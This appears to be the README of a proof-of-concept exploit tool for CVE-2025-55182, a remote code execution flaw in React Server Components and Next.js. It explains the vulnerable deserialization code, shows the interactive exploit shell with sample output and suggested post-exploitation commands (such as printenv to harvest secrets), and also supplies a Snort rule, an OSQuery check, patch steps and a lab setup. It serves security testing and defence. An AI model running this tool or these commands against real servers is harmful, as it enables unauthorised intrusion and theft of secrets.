
A comprehensive proof-of-concept exploit and educational resource for CVE-2025-55182, a critical remote code execution vulnerability affecting React Server Components with a CVSS score of 10.0.
FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY
This tool is provided for educational purposes and authorized security testing only. Unauthorized access to computer systems is illegal under various laws including the Computer Fraud and Abuse Act (CFAA) in the United States and similar legislation worldwide.
You must:
The author and contributors:
By using this tool, you acknowledge that you understand and agree to these terms.
React2Shell is a critical vulnerability discovered in December 2025 that affects React Server Components (RSC) and frameworks implementing them, particularly Next.js. The vulnerability allows unauthenticated remote code execution through a single crafted HTTP request.
This repository contains:
create-next-app are exploitableVulnerable versions:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0Patched versions:
Vulnerable versions:
Patched versions:
The vulnerability exists in the requireModule function within React Server Components' deserialization logic:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
return moduleExports[metadata[2]]; // VULNERABLE LINE - Prototype chain traversal
}
The flaw allows attackers to traverse JavaScript's prototype chain through the React Flight protocol, accessing the Function constructor via properties like constructor.constructor, enabling arbitrary code execution.
__proto__ to create self-referential structureconstructor.constructor to access Function()child_process.execSync()┌─────────────────────────────────────────────────────────────┐
│ Attacker sends multipart/form-data with Next-Action header │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Server deserializes payload via React Flight protocol │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Fake chunk object with __proto__ pollution processed │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Blob handler invokes _formData.get(_prefix + id) │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Resolves to Function("malicious_code") │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Arbitrary code executed with Node.js process privileges │
└─────────────────────────────────────────────────────────────┘
requests library# Clone the repository
git clone https://github.com/yourusername/react2shell-poc.git
cd react2shell-poc
# Install dependencies
pip install -r requirements.txt
# Make script executable (Linux/macOS)
chmod +x react2shell.py
requests>=2.31.0
urllib3>=2.0.0
python3 react2shell.py
╔═══════════════════════════════════════════════════════════╗
║ React2Shell (CVE-2025-55182) PoC ║
║ CVSS 10.0 - Critical RCE ║
║ ║
║ Affected: React 19.0.0, 19.1.0, 19.1.1, 19.2.0 ║
║ Next.js ≥14.3.0-canary.77, 15.x, 16.x ║
║ ║
║ Cerberus Secure - Lab Use Only ║
╚═══════════════════════════════════════════════════════════╝
[?] Enter target information:
Host (e.g., localhost or 192.168.1.100): localhost
Port (e.g., 3000): 3000
[React2Shell]> id
[*] Target: http://localhost:3000/
[*] Command: id
[*] Building exploit payload...
[*] Sending exploit request...
[+] Response Status Code: 200
[*] Parsing response...
╔═══════════════════════════════════════════════════════════╗
║ COMMAND OUTPUT ║
╚═══════════════════════════════════════════════════════════╝
uid=1000(node) gid=1000(node) groups=1000(node)
[React2Shell]> whoami
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> exit
# System reconnaissance
[React2Shell]> id
[React2Shell]> whoami
[React2Shell]> uname -a
[React2Shell]> cat /etc/os-release
# File system exploration
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> cat package.json
# Environment variables (often contain secrets)
[React2Shell]> printenv
[React2Shell]> echo $PATH
# Network information
[React2Shell]> ifconfig
[React2Shell]> netstat -tulpn
| Command | Description |
|---|---|
<any shell command> | Execute command on target |
help | Display help message |
exit / quit / |
Deploy this Snort rule to detect exploitation attempts:
alert http any any -> $LAN_NETWORK any (
msg:"Potential Next.js React2Shell / CVE-2025-55182 attempt";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
Detection Logic:
Next-Action header (RSC-specific)multipart/form-data payloadsname="0", status: "resolved_model", then: "$1:__proto__:then"Use this OSQuery rule to scan for vulnerable package versions:
{
"queries": {
"detect_react2shell_vulnerable_packages": {
"query": "SELECT name, version, path FROM npm_packages WHERE (name='react-server-dom-parcel' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-turbopack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-webpack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0'));",
"interval": 3600,
"description": "Detects vulnerable versions of React Server Components packages affected by CVE-2025-55182",
"platform": "linux,windows,macos",
"version": "1.0"
}
}
}
Benefits:
Look for these patterns in your application logs:
- HTTP POST requests with "Next-Action" header
- Unusual multipart/form-data requests to application root
- Error messages containing "NEXT_REDIRECT" with unexpected digest values
- Spike in 500 errors with React-related stack traces
- Child process spawning from Node.js (execSync, spawn, exec)
# Check current versions
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack
# Update React to patched version
npm install [email protected] [email protected]
# Update Next.js to latest patched version
npm install next@latest
# Verify updates
npm list react react-dom next
# Clear cache and rebuild
rm -rf .next node_modules package-lock.json
npm install
npm run build
Block suspicious patterns:
- Requests with "Next-Action" header from untrusted sources
- Multipart form data with suspicious JSON structures
- Requests matching exploit signature patterns
# Example GitHub Actions workflow
name: Security Scan
on: [push, pull_request]
jobs:
dependency-check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Check for vulnerable React packages
run: |
npm audit --audit-level=critical
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack
Set up alerts for:
# Create a new Next.js app with vulnerable version
npx [email protected] vulnerable-app
cd vulnerable-app
# Install vulnerable React version
npm install [email protected] [email protected]
# Start the development server
npm run dev
Create a Dockerfile:
FROM node:18-alpine
WORKDIR /app
# Create a basic Next.js app
RUN npx [email protected] vulnerable-app --typescript --tailwind --app --no-src-dir
WORKDIR /app/vulnerable-app
# Install vulnerable React versions
RUN npm install [email protected] [email protected]
EXPOSE 3000
CMD ["npm", "run", "dev"]
Build and run:
docker build -t react2shell-lab .
docker run -p 3000:3000 react2shell-lab
Create docker-compose.yml:
version: '3.8'
services:
vulnerable-app:
build: .
ports:
- "3000:3000"
environment:
- NODE_ENV=development
volumes:
- ./app:/app/vulnerable-app
Run:
docker-compose up -d
Test with curl:
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary @exploit_payload.txt
Contributions are welcome! Please follow these guidelines:
git checkout -b feature/improvement)git commit -am 'Add new detection method')git push origin feature/improvement)This project is licensed under the MIT License - see the LICENSE file for details.
Tinashe
Cerberus Secure is the cybersecurity division of iConnect SA, specializing in:
This vulnerability was responsibly disclosed by security researchers to the React team. This PoC is released after:
Timeline:
Remember: Use this tool responsibly and only on systems you are authorized to test.
For questions, concerns, or security issues with this repository, please open an issue or contact the maintainer directly.
| Field | Details |
|---|
| CVE ID | CVE-2025-55182 |
| CVSS Score | 10.0 (Critical) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Impact | Complete system compromise (RCE) |
| Disclosure Date | December 2025 |
q| Exit the tool |